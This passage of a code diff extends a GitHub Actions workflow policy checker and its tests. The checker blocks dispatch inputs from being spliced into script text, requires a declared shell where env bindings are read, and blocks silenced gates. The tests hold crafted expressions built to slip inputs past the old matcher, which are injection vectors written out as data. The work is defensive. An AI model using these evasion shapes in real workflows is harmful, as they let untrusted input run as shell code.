"${{ steps.release.outputs.version }}", + INSTALLED_PLUGIN_ROOT: "${{ steps.installed.outputs.plugin_root }}", + INSTALLED_ATTESTATION: "${{ steps.installed.outputs.attestation }}", + INSTALLED_PLUGIN_DATA: "${{ steps.installed.outputs.plugin_data }}", + }); for (const fragment of ["--engine-policy cpu_explicit", "--expected-backend CPU", "--ground-only"]) { add( violations, @@ -3256,15 +3325,20 @@ function validatePackagedCoordinator(workflows, violations, graph) { ]); requireStepRun(violations, file, route, "Select change-aware proof scope", [ 'if [ "$REQUESTED_SCOPE" = none ] || [ "$REQUESTED_SCOPE" = linux ]; then', - 'elif [ "${{ steps.resolve.outputs.mode }}" = "package" ]; then', + 'elif [ "$RESOLVED_MODE" = "package" ]; then', 'test "$REQUESTED_SCOPE" != none', 'if [ "$REQUESTED_SCOPE" = auto ]; then', - 'elif [ "${{ steps.resolve.outputs.mode }}" = "qualification" ]; then', + 'elif [ "$RESOLVED_MODE" = "qualification" ]; then', 'test "$REQUESTED_SCOPE" = auto || test "$REQUESTED_SCOPE" = full', 'scope="$REQUESTED_SCOPE"', "scope=full", "node .github/scripts/route-ci-proof.mjs --stdin", ]); + // The mode the scope selector branches on now arrives as a variable, so the branch text alone no + // longer says which mode it read. This binds the variable back to the resolver's own output. + requireStepEnv(violations, file, route, "Select change-aware proof scope", { + RESOLVED_MODE: "${{ steps.resolve.outputs.mode }}", + }); add( violations, String(namedStep(route, "Select change-aware proof scope")?.run ?? "") @@ -4582,9 +4656,56 @@ function validateReleaseCellUploadOwnership(workflows, violations) { ); } -/// Every `${{ ... }}` in a piece of text, matched up to its own first `}}` so an expression that -/// contains a single brace (`fromJSON('{"a":1}')`) is still bounded by its real terminator. -const interpolations = /\$\{\{[\s\S]*?\}\}/gu; +/// Every `${{ ... }}` in a piece of text, bounded by the `}}` that actually closes it. +/// +/// A non-greedy `/\$\{\{[\s\S]*?\}\}/` stops at the first `}}` it sees, which is not always the +/// terminator. GitHub's expression grammar puts braces inside expressions -- `fromJSON('{"a":1}')` +/// carries one, and `format('{{Hello {0}}}', ...)`, the brace escape from GitHub's own expression +/// documentation, carries a run of them. Against `${{ format('{{Hello {0}}}', inputs.ref) }}` the +/// non-greedy form returned `${{ format('{{Hello {0}}`, which names no context at all, so a rule +/// reading these spans saw a clean file and GitHub still spliced the input. Braces are counted +/// here and the span ends at the `}}` that closes the expression itself. +/// +/// Single-quoted literals are skipped whole, with `''` read as GitHub's escape for one quote, so a +/// brace inside a string cannot move the count in either direction. Text that opens an expression +/// and never closes it yields the rest of the text rather than nothing: an unreadable expression is +/// not evidence that it is harmless. +export function interpolationSpans(text) { + const source = String(text); + const spans = []; + let cursor = 0; + for (;;) { + const start = source.indexOf("${{", cursor); + if (start === -1) return spans; + let depth = 0; + let quoted = false; + let end = -1; + for (let index = start + 3; index < source.length; index += 1) { + const character = source[index]; + if (quoted) { + if (character !== "'") continue; + if (source[index + 1] === "'") index += 1; + else quoted = false; + continue; + } + if (character === "'") quoted = true; + else if (character === "{") depth += 1; + else if (character === "}") { + if (depth > 0) depth -= 1; + else if (source[index + 1] === "}") { + end = index + 2; + break; + } + } + } + if (end === -1) { + spans.push(source.slice(start)); + return spans; + } + spans.push(source.slice(start, end)); + cursor = end; + } +} /// Any mention of the `inputs` context, however it is spelled. GitHub serves the same dispatched /// value under `inputs.version`, `github.event.inputs.version`, and `inputs['version']`, and an @@ -4593,10 +4714,45 @@ const interpolations = /\$\{\{[\s\S]*?\}\}/gu; /// (`my_inputs`) is not the context. const namesADispatchInput = /\binputs\b/u; +/// The contexts a dispatched value can be standing in when a script reads it one hop later. Each +/// one is a channel, not a value: nothing at the reading site says what was put into it. +/// +/// `env` -- a workflow-, job-, or step-level `env:` entry may be bound to `${{ inputs.x }}`, and +/// `${{ env.NAME }}` in a script is then the input, spliced as text. This PR alone created 117 +/// step-level `env:` bindings carrying inputs, so this is the shape the next author reaches for. +/// `steps.*.outputs.*` -- a step that receives an input can write it to `$GITHUB_OUTPUT`, and the +/// consuming `${{ steps.x.outputs.y }}` is again text. +/// `needs.*.outputs.*` -- a job output is a step output that crossed a job boundary. +/// +/// The remedy is the same one #1566 applied 117 times: bind the value in `env:` and read `$NAME`. +/// For `env` specifically it costs nothing at all -- a workflow- or job-level `env:` entry is +/// already exported into the shell, so `$NAME` is available with no new binding. +/// +/// Not claimed here: `github.*` can carry attacker-authored text (a pull request title), which is a +/// different surface with a different argument. `matrix.*` can be built from an input, which is +/// pinned where the matrix is built (`fromJSON` over a fixed set of literals) rather than here. +const launderingContexts = [ + [/\benv\b/u, "env"], + [/\bsteps\b[\s\S]*\boutputs\b/u, "a step output"], + [/\bneeds\b[\s\S]*\boutputs\b/u, "a job output"], +]; + export function interpolatedDispatchInputs(run) { - return [...String(run).matchAll(interpolations)] - .map(match => match[0]) - .filter(expression => namesADispatchInput.test(expression)); + return interpolationSpans(run).filter(expression => namesADispatchInput.test(expression)); +} + +/// Every interpolation in `run` that reaches a dispatched value, paired with why it can. +export function interpolatedInputChannels(run) { + const found = []; + for (const expression of interpolationSpans(run)) { + if (namesADispatchInput.test(expression)) { + found.push([expression, "a dispatch input"]); + continue; + } + const laundering = launderingContexts.find(([pattern]) => pattern.test(expression)); + if (laundering !== undefined) found.push([expression, laundering[1]]); + } + return found; } /// Dispatched values must reach a script through `env:`, never through the script's own text. @@ -4615,6 +4771,12 @@ export function interpolatedDispatchInputs(run) { /// /// The rule reads `run:` only. A dispatched value in an action input (`with.ref`) or an `if:` is a /// different surface with a different argument, pinned separately where it belongs. +/// +/// Naming the `inputs` context alone was not enough. The context is only where the value is at the +/// moment the rule looks: an author who binds it into `env:` and reads `${{ env.NAME }}` one line +/// later, or writes it to `$GITHUB_OUTPUT` and reads `${{ steps.x.outputs.y }}` one step later, has +/// rebuilt #1566 with the gate green. The channels a dispatched value can be sitting in are refused +/// with it, so closing the surface does not depend on spotting where the value came from. export function dispatchInputInterpolationViolations(workflows) { const violations = []; for (const [file, workflow] of workflows) { @@ -4623,10 +4785,13 @@ export function dispatchInputInterpolationViolations(workflows) { const step = object(rawStep); if (typeof step.run !== "string") continue; const named = step.name ? ` (${step.name})` : ""; - for (const expression of new Set(interpolatedDispatchInputs(step.run))) { + const seen = new Set(); + for (const [expression, channel] of interpolatedInputChannels(step.run)) { + if (seen.has(expression)) continue; + seen.add(expression); violations.push( `${file} jobs.${jobId}.steps.${index}${named} must read ${expression}` - + " from step env, not interpolated script text", + + ` from step env, not interpolated script text: it carries ${channel}`, ); } } @@ -4635,6 +4800,109 @@ export function dispatchInputInterpolationViolations(workflows) { return violations; } +/// Routing a value through `env:` moves the read from GitHub's interpolator into the shell, so the +/// script stops being shell-independent the moment it does. +/// +/// `${{ env.NAME }}` is spliced before any shell exists and reads the same everywhere. `"$NAME"` is +/// a bash read; under pwsh -- the runner default on Windows -- it is the literal `$NAME` if it +/// resolves to anything at all, and the correct read is `$env:NAME`. So a step that consumes a +/// binding on a job that can land on a Windows runner has to say which shell it was written for. +/// Every affected step in this repository declares one; this keeps that true, because the failure +/// mode is a proof that silently compares against an empty string rather than an error. +export function shellDependentBindingViolations(workflows) { + const violations = []; + const bashRead = name => new RegExp(`\\$\\{?${name}\\b`, "u"); + for (const [file, workflow] of workflows) { + const workflowShell = at(workflow, "defaults", "run", "shell"); + for (const [jobId, rawJob] of Object.entries(object(workflow.jobs))) { + const job = object(rawJob); + // `runs-on` is often an expression, so the platform is not always readable here. Anything + // that is not a literal non-Windows label is treated as reaching Windows. + const label = JSON.stringify(job["runs-on"] ?? ""); + const known = /^"(ubuntu|macos)[\w.-]*"$/u.test(label); + if (known) continue; + const jobShell = at(job, "defaults", "run", "shell") ?? workflowShell; + for (const [index, rawStep] of list(job.steps).entries()) { + const step = object(rawStep); + if (typeof step.run !== "string") continue; + if ((step.shell ?? jobShell) !== undefined) continue; + const bound = Object.keys(object(step.env)) + .concat(Object.keys(object(job.env)), Object.keys(object(workflow.env))) + .filter(name => bashRead(name).test(step.run) + && !new RegExp(`\\$env:${name}\\b`, "u").test(step.run)); + if (bound.length === 0) continue; + const named = step.name ? ` (${step.name})` : ""; + violations.push( + `${file} jobs.${jobId}.steps.${index}${named} reads ${bound.sort().join(", ")}` + + " as a shell variable on a job that can run on Windows and must declare its shell", + ); + } + } + } + return violations; +} + +/// A script that absorbs its own failure has to hand that failure to something that does not. +/// +/// `continue-on-error` lives outside the script, so nothing the script's own text asserts can see +/// it, and it turns a gate's `exit 1` into advice. Putting it on plugin-static.yml's +/// `Check workflow policy` step would silence this file and its whole test suite while the run +/// still reported green -- the commands that step runs are pinned, its blocking-ness was not. +/// +/// The rule is not "gates must be blocking", because the repository has scripts that deliberately +/// are not: source-proof compiles and lints under `continue-on-error` so a later step can save the +/// cache before failing the job, and both release lanes push the marketplace catalog that way so a +/// credential problem cannot strand an already-published release. What those have and a silenced +/// gate does not is a *successor*: an `id:`, and another step that reads `steps..outcome` and +/// fails on it. So absorbing a failure is allowed exactly when the failure is still required +/// somewhere, and a step that absorbs its failure into nothing is refused. +/// +/// Scoped to `run:` steps. The optional cache restores are `uses:` steps whose miss is the normal +/// path and carries no outcome to require -- their non-blocking-ness is separately required, and +/// this rule must not contradict that. +export function absorbedFailureViolations(workflows) { + const violations = []; + const absorbs = value => value !== undefined && value !== false; + for (const [file, workflow] of workflows) { + for (const [jobId, rawJob] of Object.entries(object(workflow.jobs))) { + const job = object(rawJob); + // A job-level `continue-on-error` downgrades every step it contains at once, and the only + // thing that can still require the failure is a downstream job reading `needs..result`. + if (absorbs(job["continue-on-error"])) { + add( + violations, + scalarStrings(workflow.jobs).some(text => text.includes(`needs.${jobId}.result`)), + `${file} jobs.${jobId} absorbs its own failure and must have needs.${jobId}.result required`, + ); + } + const steps = list(job.steps).map(step => object(step)); + // Reading the outcome is not requiring it. `if: steps.x.outcome == 'success'` only decides + // whether the reader runs, and a skipped step is not a failed job; a reader that absorbs its + // own failure cannot fail the job on what it read either, so it just moves the same question + // one step along. A successor is therefore a blocking step that receives the outcome + // somewhere other than its own `if:` -- where a script can still `test` it and exit non-zero. + const requires = outcome => steps.some(other => { + if (absorbs(other["continue-on-error"])) return false; + const consumed = { ...other }; + delete consumed.if; + return scalarStrings(consumed).some(text => text.includes(outcome)); + }); + for (const [index, step] of steps.entries()) { + if (typeof step.run !== "string") continue; + if (!absorbs(step["continue-on-error"])) continue; + const named = step.name ? ` (${step.name})` : ""; + add( + violations, + typeof step.id === "string" && requires(`steps.${step.id}.outcome`), + `${file} jobs.${jobId}.steps.${index}${named} absorbs its own failure and must have` + + " an id whose outcome a later blocking step requires", + ); + } + } + } + return violations; +} + const JOB_EVIDENCE_COLLECTOR = ".github/scripts/collect-actions-job-evidence.sh"; /// `checks: read` is the token scope that makes the lost-runner signature readable at all. @@ -5285,7 +5553,7 @@ export function validateMarketplaceSync(workflows, violations) { add( violations, scalarStrings(workflow) - .flatMap(text => [...text.matchAll(/\$\{\{[^}]*\binputs\b[^}]*\}\}/gu)].map(match => match[0])) + .flatMap(text => interpolatedDispatchInputs(text)) .every(expression => Object.values(bindings).includes(expression)), `${file} must name a dispatch input only as ${bindings.INPUT_COMMIT} or ${bindings.INPUT_VERSION}`, ); @@ -5343,7 +5611,7 @@ export function validateMarketplaceSync(workflows, violations) { } add( violations, - !scalarStrings(surfaces).some(text => /\$\{\{[^}]*\binputs\b/u.test(text)), + !scalarStrings(surfaces).some(text => interpolatedDispatchInputs(text).length > 0), `${where} must not splice a dispatch input into an action input`, ); for (const [name, expected] of Object.entries(bindings)) { @@ -5417,6 +5685,8 @@ export function validateWorkflows(workflows, graph = loadReleaseClaimGraph(repos validateReleaseCellUploadOwnership(workflows, violations); validateReleaseArtifactRerunSafety(workflows, violations); violations.push(...dispatchInputInterpolationViolations(workflows)); + violations.push(...shellDependentBindingViolations(workflows)); + violations.push(...absorbedFailureViolations(workflows)); violations.push(...annotationScopeViolations(workflows)); violations.push(...lostRunnerRecoveryViolations(workflows, graph)); violations.push(...releaseWorkflowContractViolations(workflows, graph)); diff --git a/.github/scripts/check-workflow-policy.test.mjs b/.github/scripts/check-workflow-policy.test.mjs index b08944bfc..4c150713b 100644 --- a/.github/scripts/check-workflow-policy.test.mjs +++ b/.github/scripts/check-workflow-policy.test.mjs @@ -11,11 +11,13 @@ import { MAXIMUM_RUN_ATTEMPTS, } from "./lost-runner-recovery.mjs"; import { + absorbedFailureViolations, annotationScopeViolations, basicWorkflowViolations, dispatchInputInterpolationViolations, draftSourcePolicyViolations, draftWorkflowPolicyViolations, + interpolationSpans, loadWorkflows, lostRunnerRecoveryViolations, macosCliDistributionViolations, @@ -27,6 +29,7 @@ import { releaseWorkflowContractViolations, retrievalFile, retrievalProducerTriggerPolicyViolations, + shellDependentBindingViolations, validateCargoTestFilters, validateWorkflows, windowsManifestProofPolicyViolations, @@ -1058,10 +1061,7 @@ test("reusable compiler caches and proof modes reject hostile downgrades", async }, /package jobs must checkout only the requested exact SHA/u], ["package smoke loses source identity", packagedFile, workflow => { const smoke = draftStep(packagedJob(workflow), "Smoke packaged release asset"); - smoke.run = smoke.run.replace( - '--expected-source-sha "${{ steps.source-identity.outputs.sha }}" \\\n', - "", - ); + smoke.run = smoke.run.replace('--expected-source-sha "$SOURCE_SHA" \\\n', ""); }, /step Smoke packaged release asset must run --expected-source-sha/u], ["fresh package identity is reported after upload", packagedFile, workflow => { moveNamedStepAfter( @@ -2614,7 +2614,7 @@ function firstRunStep(workflow) { const unwrittenWorkflow = "future-dispatch-proof.yml"; -function unwrittenDispatchWorkflow(run) { +function unwrittenDispatchWorkflow(run, job = {}) { return { name: "Future dispatch proof", on: { workflow_dispatch: { inputs: { ref: { required: true, type: "string" } } } }, @@ -2623,7 +2623,11 @@ function unwrittenDispatchWorkflow(run) { leak: { "runs-on": "ubuntu-latest", "timeout-minutes": 10, - steps: [{ name: "Echo the dispatched ref", shell: "bash", ...run }], + ...job, + steps: [ + ...(job.steps ?? []), + { name: "Echo the dispatched ref", shell: "bash", ...run }, + ], }, }, }; @@ -2661,6 +2665,7 @@ test("no workflow interpolates a dispatch input into a run: body", async (t) => validateWorkflows(workflows).join("\n"), /must read \$\{\{ inputs\.version \}\} from step env, not interpolated script text/u, ); + assert.match(reported[0], /it carries a dispatch input$/u); }); } @@ -2674,7 +2679,8 @@ test("no workflow interpolates a dispatch input into a run: body", async (t) => })); assert.deepEqual(dispatchInputInterpolationViolations(workflows), [ `${unwrittenWorkflow} jobs.leak.steps.0 (Echo the dispatched ref)` - + " must read ${{ inputs.ref }} from step env, not interpolated script text", + + " must read ${{ inputs.ref }} from step env, not interpolated script text:" + + " it carries a dispatch input", ]); assert.match( validateWorkflows(workflows).join("\n"), @@ -2698,31 +2704,106 @@ test("no workflow interpolates a dispatch input into a run: body", async (t) => ["the spelling GitHub serves the same value under", "${{ github.event.inputs.version }}"], ["the index spelling", "${{ inputs['version'] }}"], ["a fallback that reaches an input second", "${{ github.ref_name || inputs.version }}"], - // A single `}` inside the expression must not end the match early and hide the rest of it. + // Braces inside the expression must not end the match early and hide the rest of it. The first + // case carries a single `}`, which the old non-greedy match survived. The rest carry `}}` + // sequences -- `{{` and `}}` are GitHub's own documented escapes for a literal brace inside + // `format()` -- and those it did not: `${{ format('{{Hello {0}}}', inputs.ref) }}` was cut to + // `${{ format('{{Hello {0}}`, which names no context, so the rule reported the file clean while + // GitHub spliced the input. Every one of these passed policy and actionlint before the fix. ["a spelling wrapped in a format call carrying a brace", "${{ format('{0}', inputs.version) }}"], + ["the documented format brace escape", "${{ format('{{Hello {0}}}', inputs.version) }}"], + ["the documented escape around two placeholders", + "${{ format('{{Hello {0} {1}}}', inputs.version, github.sha) }}"], + ["a brace escape whose literal looks like the terminator", "${{ format('}}{{', inputs.version) }}"], + ["JSON carrying a nested object", `\${{ fromJSON('{"a":{"b":1}}').a.b && inputs.version }}`], ]) { await t.test(`${name} is refused`, () => { const workflows = loadWorkflows(); workflows.set(unwrittenWorkflow, unwrittenDispatchWorkflow({ run: `echo "${expression}"\n` })); assert.deepEqual(dispatchInputInterpolationViolations(workflows), [ `${unwrittenWorkflow} jobs.leak.steps.0 (Echo the dispatched ref)` - + ` must read ${expression} from step env, not interpolated script text`, + + ` must read ${expression} from step env, not interpolated script text:` + + " it carries a dispatch input", ]); + // Reporting is not enough on its own: the span has to be the whole expression. A matcher that + // stops early still names `inputs` in some of these and would pass the check above on an + // accident rather than on the property being claimed. + assert.deepEqual(interpolationSpans(`echo "${expression}"`), [expression]); }); } + // Naming the `inputs` context alone reads the value's *location*, not the value. One hop moves + // it somewhere the rule was not looking, and the launder is a legal, actionlint-clean workflow. + // Each of these passed both gates before the channels were refused with the context. + // + // These replace two cases that used to assert `${{ steps.*.outputs.* }}` and + // `${{ needs.*.outputs.* }}` are "not a violation". That claim was false, and asserting it meant + // a test was holding the hole open: it would have failed anyone who tried to close it. + await t.test("a job-level env binding does not launder an input into script text", () => { + const workflows = loadWorkflows(); + workflows.set(unwrittenWorkflow, unwrittenDispatchWorkflow( + { run: 'echo "${{ env.LAUNDERED }}"\n' }, + { env: { LAUNDERED: "${{ inputs.ref }}" } }, + )); + assert.deepEqual(dispatchInputInterpolationViolations(workflows), [ + `${unwrittenWorkflow} jobs.leak.steps.0 (Echo the dispatched ref)` + + " must read ${{ env.LAUNDERED }} from step env, not interpolated script text:" + + " it carries env", + ]); + assert.match(validateWorkflows(workflows).join("\n"), /must read \$\{\{ env\.LAUNDERED \}\}/u); + }); + + await t.test("a step output does not launder an input into a later script", () => { + const workflows = loadWorkflows(); + workflows.set(unwrittenWorkflow, unwrittenDispatchWorkflow( + { run: 'echo "${{ steps.launder.outputs.ref }}"\n' }, + { + steps: [{ + name: "Write the dispatched ref to a step output", + id: "launder", + shell: "bash", + env: { INPUT_REF: "${{ inputs.ref }}" }, + run: 'echo "ref=$INPUT_REF" >> "$GITHUB_OUTPUT"\n', + }], + }, + )); + assert.deepEqual(dispatchInputInterpolationViolations(workflows), [ + `${unwrittenWorkflow} jobs.leak.steps.1 (Echo the dispatched ref)` + + " must read ${{ steps.launder.outputs.ref }} from step env, not interpolated script text:" + + " it carries a step output", + ]); + }); + + await t.test("a job output does not launder an input into another job's script", () => { + const workflows = loadWorkflows(); + workflows.set(unwrittenWorkflow, unwrittenDispatchWorkflow( + { run: 'echo "${{ needs.resolve.outputs.ref }}"\n' }, + )); + assert.deepEqual(dispatchInputInterpolationViolations(workflows), [ + `${unwrittenWorkflow} jobs.leak.steps.0 (Echo the dispatched ref)` + + " must read ${{ needs.resolve.outputs.ref }} from step env, not interpolated script text:" + + " it carries a job output", + ]); + }); + // Over-firing would make the rule unusable and force exemptions, which is how the per-file shape - // started. These are the expressions a run: body is allowed to carry. + // started. These are the expressions a run: body is still allowed to carry, and each remedy above + // is one `env:` line -- for `env` itself it is zero, because a workflow- or job-level `env:` entry + // is already exported into the shell. for (const [name, run] of [ ["a workflow context", 'echo "${{ github.run_attempt }}"\n'], ["a matrix value", 'echo "${{ matrix.asset_target }}"\n'], - ["a step output", 'echo "${{ steps.source-identity.outputs.sha }}"\n'], - ["another job's output", 'echo "${{ needs.resolve.outputs.ref }}"\n'], + ["a runner context", 'echo "${{ runner.os }}"\n'], ["a shell variable whose name merely contains the word", 'echo "$RELEASE_INPUTS_PATH"\n'], + ["the shell read of a job-level env entry", 'echo "$LAUNDERED"\n'], + ["a shell variable that merely spells the env context", 'echo "$env_path/bin"\n'], ]) { await t.test(`${name} is not a violation`, () => { const workflows = loadWorkflows(); - workflows.set(unwrittenWorkflow, unwrittenDispatchWorkflow({ run })); + workflows.set(unwrittenWorkflow, unwrittenDispatchWorkflow( + { run }, + { env: { LAUNDERED: "${{ inputs.ref }}" } }, + )); assert.deepEqual(dispatchInputInterpolationViolations(workflows), []); }); } @@ -2752,6 +2833,197 @@ test("no workflow interpolates a dispatch input into a run: body", async (t) => }); }); +// Moving a value out of the script's text and into `env:` moves the read out of GitHub's +// interpolator and into the shell -- and the shell is not the same everywhere. `${{ env.NAME }}` +// read identically on every runner; `"$NAME"` is a bash read, and this repository's packaged build +// matrix includes windows-latest, where the runner default is pwsh and the read is `$env:NAME`. +// The failure mode is the dangerous one: not an error, but a proof comparing against an empty +// string. Closing #1566's laundering channels forced these reads into scripts, so the property the +// rewrite depends on is asserted rather than assumed. +test("a binding consumed as a shell variable must say which shell it was written for", async (t) => { + await t.test("the repository as it stands declares a shell wherever it matters", () => { + assert.deepEqual(shellDependentBindingViolations(loadWorkflows()), []); + }); + + // Every step the #1566 rewrite pointed at a variable, on the one job whose matrix reaches + // Windows. Dropping the shell is the whole mutation; the script text is untouched. + for (const name of [ + "Install pinned Rust", + "Smoke packaged release asset", + "Prove Linux x64 glibc 2.31 baseline", + "Report fresh package identity", + ]) { + await t.test(`${name} cannot leave its shell to the runner`, () => { + const workflows = loadWorkflows(); + delete draftStep(workflows.get("packaged-platform-proof.yml").jobs.build, name).shell; + assert.match( + shellDependentBindingViolations(workflows).join("\n"), + new RegExp(`\\(${name}\\) reads [A-Z_, ]+ as a shell variable`, "u"), + ); + assert.match(validateWorkflows(workflows).join("\n"), /must declare its shell/u); + }); + } + + // The Windows smoke is the counter-case: it consumes the same two bindings and is correct + // because it reads them the way its own shell spells them. + await t.test("the Windows smoke reads the same bindings the pwsh way", () => { + const step = draftStep(loadWorkflows().get("packaged-platform-proof.yml").jobs.build, + "Smoke packaged release asset on Windows"); + assert.equal(step.shell, "pwsh"); + assert.equal(step.env.SOURCE_SHA, "${{ steps.source-identity.outputs.sha }}"); + assert.match(step.run, /--expected-source-sha "\$env:SOURCE_SHA"/u); + assert.equal(/--expected-source-sha "\$SOURCE_SHA"/u.test(step.run), false); + }); + + // A job pinned to a non-Windows label needs no declaration: bash is the runner default there, + // and requiring one would be noise rather than a property. + await t.test("a Linux-only job is not asked to declare a shell it already has", () => { + const workflows = loadWorkflows(); + const job = workflows.get("release.yml").jobs["marketplace-publish"]; + assert.equal(job["runs-on"], "ubuntu-latest"); + assert.equal(draftStep(job, "Point the catalog at the published release").shell, undefined); + assert.deepEqual(shellDependentBindingViolations(workflows), []); + }); +}); + +// A rule is only as blocking as the step that runs it. `continue-on-error` lives outside the +// script, so nothing this file's own text asserts can see it, and it converts every `exit 1` the +// step produces into advice. The commands the policy gate runs were pinned; that the gate FAILS was +// not, so one key on plugin-static.yml would have silenced this file and its whole suite green. +// +// The repository has scripts that deliberately absorb their own failure, so "gates must be +// blocking" would be false here. What those have and a silenced gate does not is a successor: an +// `id:`, and a later step that reads `steps..outcome` and fails on it. That is the property. +test("a script that absorbs its own failure must hand that failure to something that does not", async (t) => { + await t.test("the repository as it stands absorbs no failure into nothing", () => { + assert.deepEqual(absorbedFailureViolations(loadWorkflows()), []); + assert.deepEqual(validateWorkflows(loadWorkflows()), []); + }); + + // The exact key the reviewer reached for, on the exact step. It silences check-workflow-policy.mjs + // AND `node --test check-workflow-policy.test.mjs` at once while the job still reports success. + await t.test("the workflow policy gate cannot be made advisory", () => { + const workflows = loadWorkflows(); + draftStep(workflows.get("plugin-static.yml").jobs["plugin-static"], "Check workflow policy") + ["continue-on-error"] = true; + assert.deepEqual(absorbedFailureViolations(workflows), [ + "plugin-static.yml jobs.plugin-static.steps.7 (Check workflow policy) absorbs its own" + + " failure and must have an id whose outcome a later blocking step requires", + ]); + assert.match(validateWorkflows(workflows).join("\n"), /Check workflow policy\) absorbs its own failure/u); + }); + + // The rule names no step and no file: it reads whatever `run:` steps exist, so a gate added + // tomorrow is covered the day it lands. Every gate step in the repository is mutated here. + for (const [file, workflow] of loadWorkflows()) { + for (const [jobId, job] of Object.entries(workflow.jobs ?? {})) { + const steps = (Array.isArray(job?.steps) ? job.steps : []) + .map((step, index) => ({ step, index })) + .filter(({ step }) => typeof step?.run === "string" + && step["continue-on-error"] === undefined); + if (steps.length === 0) continue; + const { step, index } = steps[0]; + await t.test(`${file} ${jobId} cannot silence ${step.name ?? `step ${index}`}`, () => { + const workflows = loadWorkflows(); + workflows.get(file).jobs[jobId].steps[index]["continue-on-error"] = true; + const reported = absorbedFailureViolations(workflows); + // Silencing a step that was somebody else's successor reports both -- the step that stopped + // failing and the step whose failure it stopped requiring -- so this asserts the mutated + // step is named rather than that it is the only one named. + assert.equal( + reported.some(violation => violation.startsWith(`${file} jobs.${jobId}.steps.${index} `) + || violation.startsWith(`${file} jobs.${jobId}.steps.${index} (`)), + true, + reported.join("\n"), + ); + }); + } + } + + // An `id:` on its own is not a successor. Naming the step is how you make its outcome readable, + // not how you make it required, and stopping at the id would let one line reopen the hole. + await t.test("naming the silenced step is not enough", () => { + const workflows = loadWorkflows(); + const gate = draftStep(workflows.get("plugin-static.yml").jobs["plugin-static"], "Check workflow policy"); + gate["continue-on-error"] = true; + gate.id = "workflow-policy"; + assert.match( + absorbedFailureViolations(workflows).join("\n"), + /must have an id whose outcome a later blocking step requires/u, + ); + }); + + // And the shape that is allowed: the failure is absorbed here and required there. + await t.test("a successor that requires the outcome makes absorbing it legal", () => { + const workflows = loadWorkflows(); + const job = workflows.get("plugin-static.yml").jobs["plugin-static"]; + const gate = draftStep(job, "Check workflow policy"); + gate["continue-on-error"] = true; + gate.id = "workflow-policy"; + job.steps.push({ + name: "Require the workflow policy gate", + shell: "bash", + env: { POLICY_OUTCOME: "${{ steps.workflow-policy.outcome }}" }, + run: 'test "$POLICY_OUTCOME" = success\n', + }); + assert.deepEqual(absorbedFailureViolations(workflows), []); + }); + + // The precedent this generalises must survive it. The optional cache restores are `uses:` steps + // whose miss is the normal path: they carry no outcome for anything to require, and a separate + // rule requires them to stay non-blocking. Generalising must not put those two in conflict. + for (const [file, jobId, name] of [ + ["rust-ci.yml", "linux-draft", "Restore Cargo inputs and output"], + ["rust-ci.yml", "linux-draft", "Restore compiler objects"], + ["source-proof.yml", "full-source-gate", "Restore Cargo dependency inputs"], + ["packaged-platform-proof.yml", "build", "Restore Cargo dependency inputs"], + ]) { + await t.test(`${file} ${name} stays deliberately optional`, () => { + const workflows = loadWorkflows(); + const step = draftStep(workflows.get(file).jobs[jobId], name); + assert.equal(step["continue-on-error"], true); + assert.equal(step.run, undefined); + assert.deepEqual(absorbedFailureViolations(workflows), []); + assert.deepEqual(validateWorkflows(workflows), []); + }); + } + + // The two scripts that legitimately absorb their failure, and what happens when the successor + // that requires them is taken away. Without this the rule could be satisfied by deleting the + // requirement instead of the `continue-on-error`. + for (const [file, jobId, absorbing, successor] of [ + ["source-proof.yml", "full-source-gate", "Compile the complete workspace test suite", + "Require successful source compilation"], + ["source-proof.yml", "full-source-gate", "Lint every workspace target and feature once", + "Require successful source compilation"], + ]) { + await t.test(`${file} ${absorbing} stops being required when ${successor} drops it`, () => { + const workflows = loadWorkflows(); + const job = workflows.get(file).jobs[jobId]; + const id = draftStep(job, absorbing).id; + const step = draftStep(job, successor); + step.env = Object.fromEntries( + Object.entries(step.env ?? {}).filter(([, value]) => !String(value).includes(`steps.${id}.outcome`)), + ); + assert.match( + absorbedFailureViolations(workflows).join("\n"), + new RegExp(`\\(${absorbing}\\) absorbs its own failure`, "u"), + ); + }); + } + + // A job-level key downgrades every step it contains at once, so no per-step id can answer for it. + // Only a downstream job reading `needs..result` can. + await t.test("a job cannot absorb its own failure into nothing either", () => { + const workflows = loadWorkflows(); + workflows.get("plugin-static.yml").jobs["plugin-static"]["continue-on-error"] = true; + assert.deepEqual(absorbedFailureViolations(workflows), [ + "plugin-static.yml jobs.plugin-static absorbs its own failure and must have" + + " needs.plugin-static.result required", + ]); + }); +}); + // Routing a dispatched value through `env:` removes it from the script's text -- and from the // reach of the fragment pin that used to name it there. `--expected-sha "$INPUT_REF"` reads the // same whether `INPUT_REF` carries `inputs.ref` or a commit nobody reviewed, so the pin now has @@ -3596,7 +3868,7 @@ test("catalog publication cannot be reinstated as a gate or claimed without happ ["deferred smoke records the public catalog installer", workflows => { const step = draftStep(smokeJob(workflows), "Emit authenticated post-publish release cells"); step.run = step.run.replace( - '--arg installer "${{ steps.delivery.outputs.installer }}"', + '--arg installer "$DELIVERED_INSTALLER"', "--arg installer codex_marketplace_install", ); }, /must not hard-code the published installer identity/u], @@ -3624,10 +3896,16 @@ test("catalog publication cannot be reinstated as a gate or claimed without happ ["smoke resolves whatever catalog it likes", workflows => { const step = draftStep(smokeJob(workflows), "Resolve the published plugin through the marketplace catalog"); step.run = step.run.replace( - '--marketplace-source "${{ steps.delivery.outputs.marketplace_source }}"', + '--marketplace-source "$MARKETPLACE_SOURCE"', "--marketplace-source TheGreenCedar/AgentPluginMarketplace", ); - }, /must run --marketplace-source "\$\{\{ steps\.delivery\.outputs\.marketplace_source \}\}"/u], + }, /must run --marketplace-source "\$MARKETPLACE_SOURCE"/u], + // The other half of the same claim: the variable the command names has to be bound to the + // delivery state's own output, or routing it through `env:` would only move the hole. + ["smoke rebinds the catalog source away from the delivery state", workflows => { + draftStep(smokeJob(workflows), "Resolve the published plugin through the marketplace catalog") + .env.MARKETPLACE_SOURCE = "TheGreenCedar/AgentPluginMarketplace"; + }, /must bind MARKETPLACE_SOURCE to \$\{\{ steps\.delivery\.outputs\.marketplace_source \}\}/u], ["smoke fakes the fixture catalog by cloning it", workflows => { draftStep(smokeJob(workflows), "Record catalog delivery state").run += "\ngit clone https://github.com/TheGreenCedar/AgentPluginMarketplace.git"; @@ -3703,10 +3981,14 @@ test("catalog publication cannot be reinstated as a gate or claimed without happ ["plugin lane installs from a catalog the delivery state did not resolve", workflows => { const step = draftStep(pluginSmokeJob(workflows), "Prove the public marketplace install path"); step.run = step.run.replace( - '--marketplace-source "${{ steps.delivery.outputs.marketplace_source }}"', + '--marketplace-source 